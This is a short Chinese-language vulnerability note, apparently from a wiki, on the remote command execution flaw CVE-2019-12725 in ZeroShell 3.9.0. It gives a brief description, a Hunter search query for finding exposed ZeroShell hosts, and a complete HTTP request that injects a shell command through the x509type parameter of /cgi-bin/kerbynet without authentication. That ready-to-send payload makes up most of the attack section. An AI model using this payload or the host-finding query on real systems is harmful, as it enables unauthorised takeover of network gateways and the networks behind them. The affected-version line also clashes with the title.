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37 lines
1.5 KiB
Markdown
37 lines
1.5 KiB
Markdown
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# ZeroShell 3.9.0 远程命令执行漏洞(CVE-2019-12725)
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# 一、漏洞简介
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Zeroshell是一个微型的linux发行版本，它功能强大，具有强大的router、radius、web门户、防火墙、virtual**、Qos、 DHCP、dns转发等功能，可以用来安装到服务器上为内网提供网络服务。ZeroShell 3.9.0 存在命令执行漏洞，/cgi-bin/kerbynet 页面，x509type 参数过滤不严格，导致攻击者可执行任意命令。
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# 二、影响版本
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+ ZeroShell < 3.9.0
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# 三、资产测绘
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+ hunter`app.name="ZeroShell"`
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+ 特征
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# 四、漏洞复现
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```plain
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GET /cgi-bin/kerbynet?Action=x509view&Section=NoAuthREQ&User=&x509type=%27%0Aid%0A%27 HTTP/1.1
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Host: xx.xx.xx.xx
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User-Agent: Mozilla/5.0 (X11; Linux x86_64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/41.0.2227.0 Safari/537.36
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Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,*/*;q=0.8
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Accept-Language: zh-CN,zh;q=0.8,zh-TW;q=0.7,zh-HK;q=0.5,en-US;q=0.3,en;q=0.2
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Accept-Encoding: gzip, deflate
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Upgrade-Insecure-Requests: 1
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Sec-Fetch-Dest: document
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Sec-Fetch-Mode: navigate
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Sec-Fetch-Site: none
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Sec-Fetch-User: ?1
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Te: trailers
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Connection: close
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```
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> 更新: 2024-02-29 23:57:12
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> 原文: <https://www.yuque.com/xiaokp7/ocvun2/cwidw8o3h26689ls>
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